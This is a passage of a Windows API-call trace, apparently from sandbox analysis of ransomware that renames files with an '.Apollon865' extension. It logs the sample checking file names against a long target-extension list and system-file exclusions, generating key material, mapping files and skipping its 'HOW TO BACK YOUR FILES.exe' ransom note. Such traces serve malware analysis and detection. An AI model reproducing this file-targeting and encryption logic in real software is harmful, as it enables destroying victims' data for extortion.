	[0088.136] lstrcmpiW (lpString1="mp3", lpString2="udb") returned -1
	[0088.136] lstrlenW (lpString="udl") returned 3
	[0088.136] lstrcmpiW (lpString1="mp3", lpString2="udl") returned -1
	[0088.137] lstrlenW (lpString="usr") returned 3
	[0088.137] lstrcmpiW (lpString1="mp3", lpString2="usr") returned -1
	[0088.137] lstrlenW (lpString="v12") returned 3
	[0088.137] lstrcmpiW (lpString1="mp3", lpString2="v12") returned -1
	[0088.137] lstrlenW (lpString="vis") returned 3
	[0088.137] lstrcmpiW (lpString1="mp3", lpString2="vis") returned -1
	[0088.137] lstrlenW (lpString="vpd") returned 3
	[0088.137] lstrcmpiW (lpString1="mp3", lpString2="vpd") returned -1
	[0088.137] lstrlenW (lpString="vvv") returned 3
	[0088.137] lstrcmpiW (lpString1="mp3", lpString2="vvv") returned -1
	[0088.137] lstrlenW (lpString="wdb") returned 3
	[0088.137] lstrcmpiW (lpString1="mp3", lpString2="wdb") returned -1
	[0088.137] lstrlenW (lpString="wmdb") returned 4
	[0088.137] lstrcmpiW (lpString1=".mp3", lpString2="wmdb") returned -1
	[0088.137] lstrlenW (lpString="wrk") returned 3
	[0088.137] lstrcmpiW (lpString1="mp3", lpString2="wrk") returned -1
	[0088.137] lstrlenW (lpString="xdb") returned 3
	[0088.137] lstrcmpiW (lpString1="mp3", lpString2="xdb") returned -1
	[0088.137] lstrlenW (lpString="xld") returned 3
	[0088.137] lstrcmpiW (lpString1="mp3", lpString2="xld") returned -1
	[0088.137] lstrlenW (lpString="xmlff") returned 5
	[0088.137] lstrcmpiW (lpString1="4.mp3", lpString2="xmlff") returned -1
	[0088.137] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\klDrs 2\\cxOa-aiSNwhzkE23V4.mp3.Apollon865") returned 87
	[0088.137] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\klDrs 2\\cxOa-aiSNwhzkE23V4.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\yxk3_kbyu\\kldrs 2\\cxoa-aisnwhzke23v4.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\klDrs 2\\cxOa-aiSNwhzkE23V4.mp3.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\yxk3_kbyu\\kldrs 2\\cxoa-aisnwhzke23v4.mp3.apollon865"), dwFlags=0x1) returned 1
	[0088.139] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\klDrs 2\\cxOa-aiSNwhzkE23V4.mp3.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\yxk3_kbyu\\kldrs 2\\cxoa-aisnwhzke23v4.mp3.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0088.139] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=60862) returned 1
	[0088.139] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0088.139] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0088.139] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf700
	[0088.139] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf4e0) returned 1
	[0088.140] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0088.140] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0088.140] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xf0c0, lpName=0x0) returned 0x15c
	[0088.141] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xf0c0) returned 0x100000
	[0088.143] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf4e0) returned 1
	[0088.144] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0088.144] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0088.144] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0088.144] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0088.144] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0088.144] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0088.144] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0088.144] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0088.144] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0088.144] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0088.144] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0088.144] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0088.145] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0088.145] CloseHandle (hObject=0x15c) returned 1
	[0088.145] CloseHandle (hObject=0x9c) returned 1
	[0088.146] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0088.146] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf700 | out: hHeap=0x580000) returned 1
	[0088.146] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0088.147] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30376570, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x30376570, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0088.147] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0088.147] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd389acf0, ftCreationTime.dwHighDateTime=0x1d4cfe6, ftLastAccessTime.dwLowDateTime=0x41237d60, ftLastAccessTime.dwHighDateTime=0x1d4d3a0, ftLastWriteTime.dwLowDateTime=0x41237d60, ftLastWriteTime.dwHighDateTime=0x1d4d3a0, nFileSizeHigh=0x0, nFileSizeLow=0xc72d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="jNLEsmPbZ5MYX.wav", cAlternateFileName="JNLESM~1.WAV")) returned 1
	[0088.147] lstrcmpiW (lpString1="jNLEsmPbZ5MYX.wav", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0088.147] lstrcmpiW (lpString1="jNLEsmPbZ5MYX.wav", lpString2="Apollon865.txt.exe") returned 1
	[0088.147] lstrcmpiW (lpString1="jNLEsmPbZ5MYX.wav", lpString2=".") returned 1
	[0088.147] lstrcmpiW (lpString1="jNLEsmPbZ5MYX.wav", lpString2="..") returned 1
	[0088.147] lstrcmpiW (lpString1="jNLEsmPbZ5MYX.wav", lpString2="windows") returned -1
	[0088.147] lstrcmpiW (lpString1="jNLEsmPbZ5MYX.wav", lpString2="bootmgr") returned 1
	[0088.147] lstrcmpiW (lpString1="jNLEsmPbZ5MYX.wav", lpString2="temp") returned -1
	[0088.147] lstrcmpiW (lpString1="jNLEsmPbZ5MYX.wav", lpString2="pagefile.sys") returned -1
	[0088.147] lstrcmpiW (lpString1="jNLEsmPbZ5MYX.wav", lpString2="boot") returned 1
	[0088.147] lstrcmpiW (lpString1="jNLEsmPbZ5MYX.wav", lpString2="ids.txt") returned 1
	[0088.147] lstrcmpiW (lpString1="jNLEsmPbZ5MYX.wav", lpString2="ntuser.dat") returned -1
	[0088.147] lstrcmpiW (lpString1="jNLEsmPbZ5MYX.wav", lpString2="perflogs") returned -1
	[0088.147] lstrcmpiW (lpString1="jNLEsmPbZ5MYX.wav", lpString2="MSBuild") returned -1
	[0088.147] lstrlenW (lpString="jNLEsmPbZ5MYX.wav") returned 17
	[0088.147] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\klDrs 2\\cxOa-aiSNwhzkE23V4.mp3") returned 76
	[0088.147] lstrcpyW (in: lpString1=0x119e674, lpString2="jNLEsmPbZ5MYX.wav" | out: lpString1="jNLEsmPbZ5MYX.wav") returned="jNLEsmPbZ5MYX.wav"
	[0088.147] lstrlenW (lpString="jNLEsmPbZ5MYX.wav") returned 17
	[0088.147] lstrlenW (lpString="Apollon865") returned 10
	[0088.147] lstrcmpiW (lpString1="bZ5MYX.wav", lpString2="Apollon865") returned 1
	[0088.147] lstrlenW (lpString=".dll") returned 4
	[0088.147] lstrcmpiW (lpString1="jNLEsmPbZ5MYX.wav", lpString2=".dll") returned 1
	[0088.148] lstrlenW (lpString=".lnk") returned 4
	[0088.148] lstrcmpiW (lpString1="jNLEsmPbZ5MYX.wav", lpString2=".lnk") returned 1
	[0088.148] lstrlenW (lpString=".ini") returned 4
	[0088.148] lstrcmpiW (lpString1="jNLEsmPbZ5MYX.wav", lpString2=".ini") returned 1
	[0088.148] lstrlenW (lpString=".sys") returned 4
	[0088.148] lstrcmpiW (lpString1="jNLEsmPbZ5MYX.wav", lpString2=".sys") returned 1
	[0088.148] lstrlenW (lpString="jNLEsmPbZ5MYX.wav") returned 17
	[0088.148] lstrlenW (lpString="bak") returned 3
	[0088.148] lstrcmpiW (lpString1="wav", lpString2="bak") returned 1
	[0088.148] lstrlenW (lpString="ba_") returned 3
	[0088.148] lstrcmpiW (lpString1="wav", lpString2="ba_") returned 1
	[0088.148] lstrlenW (lpString="dbb") returned 3
	[0088.148] lstrcmpiW (lpString1="wav", lpString2="dbb") returned 1
	[0088.148] lstrlenW (lpString="vmdk") returned 4
	[0088.148] lstrcmpiW (lpString1=".wav", lpString2="vmdk") returned -1
	[0088.148] lstrlenW (lpString="rar") returned 3
	[0088.148] lstrcmpiW (lpString1="wav", lpString2="rar") returned 1
	[0088.148] lstrlenW (lpString="zip") returned 3
	[0088.148] lstrcmpiW (lpString1="wav", lpString2="zip") returned -1
	[0088.148] lstrlenW (lpString="tgz") returned 3
	[0088.148] lstrcmpiW (lpString1="wav", lpString2="tgz") returned 1
	[0088.148] lstrlenW (lpString="vbox") returned 4
	[0088.148] lstrcmpiW (lpString1=".wav", lpString2="vbox") returned -1
	[0088.148] lstrlenW (lpString="vdi") returned 3
	[0088.148] lstrcmpiW (lpString1="wav", lpString2="vdi") returned 1
	[0088.148] lstrlenW (lpString="vhd") returned 3
	[0088.148] lstrcmpiW (lpString1="wav", lpString2="vhd") returned 1
	[0088.148] lstrlenW (lpString="vhdx") returned 4
	[0088.148] lstrcmpiW (lpString1=".wav", lpString2="vhdx") returned -1
	[0088.148] lstrlenW (lpString="avhd") returned 4
	[0088.148] lstrcmpiW (lpString1=".wav", lpString2="avhd") returned -1
	[0088.148] lstrlenW (lpString="db") returned 2
	[0088.148] lstrcmpiW (lpString1="av", lpString2="db") returned -1
	[0088.148] lstrlenW (lpString="db2") returned 3
	[0088.148] lstrcmpiW (lpString1="wav", lpString2="db2") returned 1
	[0088.148] lstrlenW (lpString="db3") returned 3
	[0088.149] lstrcmpiW (lpString1="wav", lpString2="db3") returned 1
	[0088.149] lstrlenW (lpString="dbf") returned 3
	[0088.149] lstrcmpiW (lpString1="wav", lpString2="dbf") returned 1
	[0088.149] lstrlenW (lpString="mdf") returned 3
	[0088.149] lstrcmpiW (lpString1="wav", lpString2="mdf") returned 1
	[0088.149] lstrlenW (lpString="mdb") returned 3
	[0088.149] lstrcmpiW (lpString1="wav", lpString2="mdb") returned 1
	[0088.149] lstrlenW (lpString="sql") returned 3
	[0088.149] lstrcmpiW (lpString1="wav", lpString2="sql") returned 1
	[0088.149] lstrlenW (lpString="sqlite") returned 6
	[0088.149] lstrcmpiW (lpString1="YX.wav", lpString2="sqlite") returned 1
	[0088.149] lstrlenW (lpString="sqlite3") returned 7
	[0088.149] lstrcmpiW (lpString1="MYX.wav", lpString2="sqlite3") returned -1
	[0088.149] lstrlenW (lpString="sqlitedb") returned 8
	[0088.149] lstrcmpiW (lpString1="5MYX.wav", lpString2="sqlitedb") returned -1
	[0088.149] lstrlenW (lpString="xml") returned 3
	[0088.149] lstrcmpiW (lpString1="wav", lpString2="xml") returned -1
	[0088.149] lstrlenW (lpString="$er") returned 3
	[0088.149] lstrcmpiW (lpString1="wav", lpString2="$er") returned 1
	[0088.149] lstrlenW (lpString="4dd") returned 3
	[0088.149] lstrcmpiW (lpString1="wav", lpString2="4dd") returned 1
	[0088.149] lstrlenW (lpString="4dl") returned 3
	[0088.149] lstrcmpiW (lpString1="wav", lpString2="4dl") returned 1
	[0088.149] lstrlenW (lpString="^^^") returned 3
	[0088.149] lstrcmpiW (lpString1="wav", lpString2="^^^") returned 1
	[0088.149] lstrlenW (lpString="abs") returned 3
	[0088.149] lstrcmpiW (lpString1="wav", lpString2="abs") returned 1
	[0088.149] lstrlenW (lpString="abx") returned 3
	[0088.149] lstrcmpiW (lpString1="wav", lpString2="abx") returned 1
	[0088.149] lstrlenW (lpString="accdb") returned 5
	[0088.149] lstrcmpiW (lpString1="X.wav", lpString2="accdb") returned 1
	[0088.149] lstrlenW (lpString="accdc") returned 5
	[0088.149] lstrcmpiW (lpString1="X.wav", lpString2="accdc") returned 1
	[0088.149] lstrlenW (lpString="accde") returned 5
	[0088.149] lstrcmpiW (lpString1="X.wav", lpString2="accde") returned 1
	[0088.150] lstrlenW (lpString="accdr") returned 5
	[0088.150] lstrcmpiW (lpString1="X.wav", lpString2="accdr") returned 1
	[0088.150] lstrlenW (lpString="accdt") returned 5
	[0088.150] lstrcmpiW (lpString1="X.wav", lpString2="accdt") returned 1
	[0088.150] lstrlenW (lpString="accdw") returned 5
	[0088.150] lstrcmpiW (lpString1="X.wav", lpString2="accdw") returned 1
	[0088.150] lstrlenW (lpString="accft") returned 5
	[0088.150] lstrcmpiW (lpString1="X.wav", lpString2="accft") returned 1
	[0088.150] lstrlenW (lpString="adb") returned 3
	[0088.150] lstrcmpiW (lpString1="wav", lpString2="adb") returned 1
	[0088.150] lstrlenW (lpString="adb") returned 3
	[0088.150] lstrcmpiW (lpString1="wav", lpString2="adb") returned 1
	[0088.150] lstrlenW (lpString="ade") returned 3
	[0088.150] lstrcmpiW (lpString1="wav", lpString2="ade") returned 1
	[0088.150] lstrlenW (lpString="adf") returned 3
	[0088.150] lstrcmpiW (lpString1="wav", lpString2="adf") returned 1
	[0088.150] lstrlenW (lpString="adn") returned 3
	[0088.150] lstrcmpiW (lpString1="wav", lpString2="adn") returned 1
	[0088.150] lstrlenW (lpString="adp") returned 3
	[0088.150] lstrcmpiW (lpString1="wav", lpString2="adp") returned 1
	[0088.150] lstrlenW (lpString="alf") returned 3
	[0088.150] lstrcmpiW (lpString1="wav", lpString2="alf") returned 1
	[0088.150] lstrlenW (lpString="ask") returned 3
	[0088.150] lstrcmpiW (lpString1="wav", lpString2="ask") returned 1
	[0088.150] lstrlenW (lpString="btr") returned 3
	[0088.150] lstrcmpiW (lpString1="wav", lpString2="btr") returned 1
	[0088.150] lstrlenW (lpString="cat") returned 3
	[0088.150] lstrcmpiW (lpString1="wav", lpString2="cat") returned 1
	[0088.150] lstrlenW (lpString="cdb") returned 3
	[0088.150] lstrcmpiW (lpString1="wav", lpString2="cdb") returned 1
	[0088.150] lstrlenW (lpString="ckp") returned 3
	[0088.150] lstrcmpiW (lpString1="wav", lpString2="ckp") returned 1
	[0088.150] lstrlenW (lpString="cma") returned 3
	[0088.150] lstrcmpiW (lpString1="wav", lpString2="cma") returned 1
	[0088.150] lstrlenW (lpString="cpd") returned 3
	[0088.150] lstrcmpiW (lpString1="wav", lpString2="cpd") returned 1
	[0088.151] lstrlenW (lpString="dacpac") returned 6
	[0088.151] lstrcmpiW (lpString1="YX.wav", lpString2="dacpac") returned 1
	[0088.151] lstrlenW (lpString="dad") returned 3
	[0088.151] lstrcmpiW (lpString1="wav", lpString2="dad") returned 1
	[0088.151] lstrlenW (lpString="dadiagrams") returned 10
	[0088.151] lstrcmpiW (lpString1="bZ5MYX.wav", lpString2="dadiagrams") returned -1
	[0088.151] lstrlenW (lpString="daschema") returned 8
	[0088.151] lstrcmpiW (lpString1="5MYX.wav", lpString2="daschema") returned -1
	[0088.151] lstrlenW (lpString="db-journal") returned 10
	[0088.151] lstrcmpiW (lpString1="bZ5MYX.wav", lpString2="db-journal") returned -1
	[0088.151] lstrlenW (lpString="db-shm") returned 6
	[0088.151] lstrcmpiW (lpString1="YX.wav", lpString2="db-shm") returned 1
	[0088.151] lstrlenW (lpString="db-wal") returned 6
	[0088.151] lstrcmpiW (lpString1="YX.wav", lpString2="db-wal") returned 1
	[0088.151] lstrlenW (lpString="dbc") returned 3
	[0088.151] lstrcmpiW (lpString1="wav", lpString2="dbc") returned 1
	[0088.151] lstrlenW (lpString="dbs") returned 3
	[0088.151] lstrcmpiW (lpString1="wav", lpString2="dbs") returned 1
	[0088.151] lstrlenW (lpString="dbt") returned 3
	[0088.151] lstrcmpiW (lpString1="wav", lpString2="dbt") returned 1
	[0088.151] lstrlenW (lpString="dbv") returned 3
	[0088.151] lstrcmpiW (lpString1="wav", lpString2="dbv") returned 1
	[0088.151] lstrlenW (lpString="dbx") returned 3
	[0088.151] lstrcmpiW (lpString1="wav", lpString2="dbx") returned 1
	[0088.151] lstrlenW (lpString="dcb") returned 3
	[0088.151] lstrcmpiW (lpString1="wav", lpString2="dcb") returned 1
	[0088.151] lstrlenW (lpString="dct") returned 3
	[0088.151] lstrcmpiW (lpString1="wav", lpString2="dct") returned 1
	[0088.151] lstrlenW (lpString="dcx") returned 3
	[0088.151] lstrcmpiW (lpString1="wav", lpString2="dcx") returned 1
	[0088.151] lstrlenW (lpString="ddl") returned 3
	[0088.151] lstrcmpiW (lpString1="wav", lpString2="ddl") returned 1
	[0088.151] lstrlenW (lpString="dlis") returned 4
	[0088.151] lstrcmpiW (lpString1=".wav", lpString2="dlis") returned -1
	[0088.151] lstrlenW (lpString="dp1") returned 3
	[0088.152] lstrcmpiW (lpString1="wav", lpString2="dp1") returned 1
	[0088.152] lstrlenW (lpString="dqy") returned 3
	[0088.152] lstrcmpiW (lpString1="wav", lpString2="dqy") returned 1
	[0088.152] lstrlenW (lpString="dsk") returned 3
	[0088.152] lstrcmpiW (lpString1="wav", lpString2="dsk") returned 1
	[0088.152] lstrlenW (lpString="dsn") returned 3
	[0088.152] lstrcmpiW (lpString1="wav", lpString2="dsn") returned 1
	[0088.152] lstrlenW (lpString="dtsx") returned 4
	[0088.152] lstrcmpiW (lpString1=".wav", lpString2="dtsx") returned -1
	[0088.152] lstrlenW (lpString="dxl") returned 3
	[0088.152] lstrcmpiW (lpString1="wav", lpString2="dxl") returned 1
	[0088.152] lstrlenW (lpString="eco") returned 3
	[0088.152] lstrcmpiW (lpString1="wav", lpString2="eco") returned 1
	[0088.152] lstrlenW (lpString="ecx") returned 3
	[0088.152] lstrcmpiW (lpString1="wav", lpString2="ecx") returned 1
	[0088.152] lstrlenW (lpString="edb") returned 3
	[0088.152] lstrcmpiW (lpString1="wav", lpString2="edb") returned 1
	[0088.152] lstrlenW (lpString="epim") returned 4
	[0088.152] lstrcmpiW (lpString1=".wav", lpString2="epim") returned -1
	[0088.152] lstrlenW (lpString="fcd") returned 3
	[0088.152] lstrcmpiW (lpString1="wav", lpString2="fcd") returned 1
	[0088.152] lstrlenW (lpString="fdb") returned 3
	[0088.152] lstrcmpiW (lpString1="wav", lpString2="fdb") returned 1
	[0088.152] lstrlenW (lpString="fic") returned 3
	[0088.152] lstrcmpiW (lpString1="wav", lpString2="fic") returned 1
	[0088.152] lstrlenW (lpString="flexolibrary") returned 12
	[0088.152] lstrcmpiW (lpString1="mPbZ5MYX.wav", lpString2="flexolibrary") returned 1
	[0088.152] lstrlenW (lpString="fm5") returned 3
	[0088.152] lstrcmpiW (lpString1="wav", lpString2="fm5") returned 1
	[0088.152] lstrlenW (lpString="fmp") returned 3
	[0088.152] lstrcmpiW (lpString1="wav", lpString2="fmp") returned 1
	[0088.152] lstrlenW (lpString="fmp12") returned 5
	[0088.152] lstrcmpiW (lpString1="X.wav", lpString2="fmp12") returned 1
	[0088.152] lstrlenW (lpString="fmpsl") returned 5
	[0088.152] lstrcmpiW (lpString1="X.wav", lpString2="fmpsl") returned 1
	[0088.152] lstrlenW (lpString="fol") returned 3
	[0088.153] lstrcmpiW (lpString1="wav", lpString2="fol") returned 1
	[0088.153] lstrlenW (lpString="fp3") returned 3
	[0088.153] lstrcmpiW (lpString1="wav", lpString2="fp3") returned 1
	[0088.153] lstrlenW (lpString="fp4") returned 3
	[0088.153] lstrcmpiW (lpString1="wav", lpString2="fp4") returned 1
	[0088.153] lstrlenW (lpString="fp5") returned 3
	[0088.153] lstrcmpiW (lpString1="wav", lpString2="fp5") returned 1
	[0088.153] lstrlenW (lpString="fp7") returned 3
	[0088.153] lstrcmpiW (lpString1="wav", lpString2="fp7") returned 1
	[0088.153] lstrlenW (lpString="fpt") returned 3
	[0088.153] lstrcmpiW (lpString1="wav", lpString2="fpt") returned 1
	[0088.153] lstrlenW (lpString="frm") returned 3
	[0088.153] lstrcmpiW (lpString1="wav", lpString2="frm") returned 1
	[0088.153] lstrlenW (lpString="gdb") returned 3
	[0088.153] lstrcmpiW (lpString1="wav", lpString2="gdb") returned 1
	[0088.153] lstrlenW (lpString="gdb") returned 3
	[0088.153] lstrcmpiW (lpString1="wav", lpString2="gdb") returned 1
	[0088.153] lstrlenW (lpString="grdb") returned 4
	[0088.153] lstrcmpiW (lpString1=".wav", lpString2="grdb") returned -1
	[0088.153] lstrlenW (lpString="gwi") returned 3
	[0088.153] lstrcmpiW (lpString1="wav", lpString2="gwi") returned 1
	[0088.153] lstrlenW (lpString="hdb") returned 3
	[0088.153] lstrcmpiW (lpString1="wav", lpString2="hdb") returned 1
	[0088.153] lstrlenW (lpString="his") returned 3
	[0088.153] lstrcmpiW (lpString1="wav", lpString2="his") returned 1
	[0088.153] lstrlenW (lpString="ib") returned 2
	[0088.153] lstrcmpiW (lpString1="av", lpString2="ib") returned -1
	[0088.153] lstrlenW (lpString="idb") returned 3
	[0088.153] lstrcmpiW (lpString1="wav", lpString2="idb") returned 1
	[0088.153] lstrlenW (lpString="ihx") returned 3
	[0088.153] lstrcmpiW (lpString1="wav", lpString2="ihx") returned 1
	[0088.153] lstrlenW (lpString="itdb") returned 4
	[0088.153] lstrcmpiW (lpString1=".wav", lpString2="itdb") returned -1
	[0088.153] lstrlenW (lpString="itw") returned 3
	[0088.153] lstrcmpiW (lpString1="wav", lpString2="itw") returned 1
	[0088.153] lstrlenW (lpString="jet") returned 3
	[0088.154] lstrcmpiW (lpString1="wav", lpString2="jet") returned 1
	[0088.154] lstrlenW (lpString="jtx") returned 3
	[0088.154] lstrcmpiW (lpString1="wav", lpString2="jtx") returned 1
	[0088.154] lstrlenW (lpString="kdb") returned 3
	[0088.154] lstrcmpiW (lpString1="wav", lpString2="kdb") returned 1
	[0088.154] lstrlenW (lpString="kexi") returned 4
	[0088.154] lstrcmpiW (lpString1=".wav", lpString2="kexi") returned -1
	[0088.154] lstrlenW (lpString="kexic") returned 5
	[0088.154] lstrcmpiW (lpString1="X.wav", lpString2="kexic") returned 1
	[0088.154] lstrlenW (lpString="kexis") returned 5
	[0088.154] lstrcmpiW (lpString1="X.wav", lpString2="kexis") returned 1
	[0088.154] lstrlenW (lpString="lgc") returned 3
	[0088.154] lstrcmpiW (lpString1="wav", lpString2="lgc") returned 1
	[0088.154] lstrlenW (lpString="lwx") returned 3
	[0088.154] lstrcmpiW (lpString1="wav", lpString2="lwx") returned 1
	[0088.154] lstrlenW (lpString="maf") returned 3
	[0088.154] lstrcmpiW (lpString1="wav", lpString2="maf") returned 1
	[0088.154] lstrlenW (lpString="maq") returned 3
	[0088.154] lstrcmpiW (lpString1="wav", lpString2="maq") returned 1
	[0088.154] lstrlenW (lpString="mar") returned 3
	[0088.154] lstrcmpiW (lpString1="wav", lpString2="mar") returned 1
	[0088.154] lstrlenW (lpString="marshal") returned 7
	[0088.154] lstrcmpiW (lpString1="MYX.wav", lpString2="marshal") returned 1
	[0088.154] lstrlenW (lpString="mas") returned 3
	[0088.154] lstrcmpiW (lpString1="wav", lpString2="mas") returned 1
	[0088.154] lstrlenW (lpString="mav") returned 3
	[0088.154] lstrcmpiW (lpString1="wav", lpString2="mav") returned 1
	[0088.154] lstrlenW (lpString="maw") returned 3
	[0088.154] lstrcmpiW (lpString1="wav", lpString2="maw") returned 1
	[0088.154] lstrlenW (lpString="mdbhtml") returned 7
	[0088.154] lstrcmpiW (lpString1="MYX.wav", lpString2="mdbhtml") returned 1
	[0088.154] lstrlenW (lpString="mdn") returned 3
	[0088.154] lstrcmpiW (lpString1="wav", lpString2="mdn") returned 1
	[0088.154] lstrlenW (lpString="mdt") returned 3
	[0088.154] lstrcmpiW (lpString1="wav", lpString2="mdt") returned 1
	[0088.155] lstrlenW (lpString="mfd") returned 3
	[0088.155] lstrcmpiW (lpString1="wav", lpString2="mfd") returned 1
	[0088.155] lstrlenW (lpString="mpd") returned 3
	[0088.155] lstrcmpiW (lpString1="wav", lpString2="mpd") returned 1
	[0088.155] lstrlenW (lpString="mrg") returned 3
	[0088.155] lstrcmpiW (lpString1="wav", lpString2="mrg") returned 1
	[0088.155] lstrlenW (lpString="mud") returned 3
	[0088.155] lstrcmpiW (lpString1="wav", lpString2="mud") returned 1
	[0088.155] lstrlenW (lpString="mwb") returned 3
	[0088.155] lstrcmpiW (lpString1="wav", lpString2="mwb") returned 1
	[0088.155] lstrlenW (lpString="myd") returned 3
	[0088.155] lstrcmpiW (lpString1="wav", lpString2="myd") returned 1
	[0088.155] lstrlenW (lpString="ndf") returned 3
	[0088.155] lstrcmpiW (lpString1="wav", lpString2="ndf") returned 1
	[0088.155] lstrlenW (lpString="nnt") returned 3
	[0088.155] lstrcmpiW (lpString1="wav", lpString2="nnt") returned 1
	[0088.155] lstrlenW (lpString="nrmlib") returned 6
	[0088.155] lstrcmpiW (lpString1="YX.wav", lpString2="nrmlib") returned 1
	[0088.155] lstrlenW (lpString="ns2") returned 3
	[0088.155] lstrcmpiW (lpString1="wav", lpString2="ns2") returned 1
	[0088.155] lstrlenW (lpString="ns3") returned 3
	[0088.155] lstrcmpiW (lpString1="wav", lpString2="ns3") returned 1
	[0088.155] lstrlenW (lpString="ns4") returned 3
	[0088.155] lstrcmpiW (lpString1="wav", lpString2="ns4") returned 1
	[0088.155] lstrlenW (lpString="nsf") returned 3
	[0088.155] lstrcmpiW (lpString1="wav", lpString2="nsf") returned 1
	[0088.155] lstrlenW (lpString="nv") returned 2
	[0088.155] lstrcmpiW (lpString1="av", lpString2="nv") returned -1
	[0088.155] lstrlenW (lpString="nv2") returned 3
	[0088.155] lstrcmpiW (lpString1="wav", lpString2="nv2") returned 1
	[0088.155] lstrlenW (lpString="nwdb") returned 4
	[0088.155] lstrcmpiW (lpString1=".wav", lpString2="nwdb") returned -1
	[0088.155] lstrlenW (lpString="nyf") returned 3
	[0088.155] lstrcmpiW (lpString1="wav", lpString2="nyf") returned 1
	[0088.155] lstrlenW (lpString="odb") returned 3
	[0088.155] lstrcmpiW (lpString1="wav", lpString2="odb") returned 1
	[0088.156] lstrlenW (lpString="odb") returned 3
	[0088.156] lstrcmpiW (lpString1="wav", lpString2="odb") returned 1
	[0088.156] lstrlenW (lpString="oqy") returned 3
	[0088.156] lstrcmpiW (lpString1="wav", lpString2="oqy") returned 1
	[0088.156] lstrlenW (lpString="ora") returned 3
	[0088.156] lstrcmpiW (lpString1="wav", lpString2="ora") returned 1
	[0088.156] lstrlenW (lpString="orx") returned 3
	[0088.156] lstrcmpiW (lpString1="wav", lpString2="orx") returned 1
	[0088.156] lstrlenW (lpString="owc") returned 3
	[0088.156] lstrcmpiW (lpString1="wav", lpString2="owc") returned 1
	[0088.156] lstrlenW (lpString="p96") returned 3
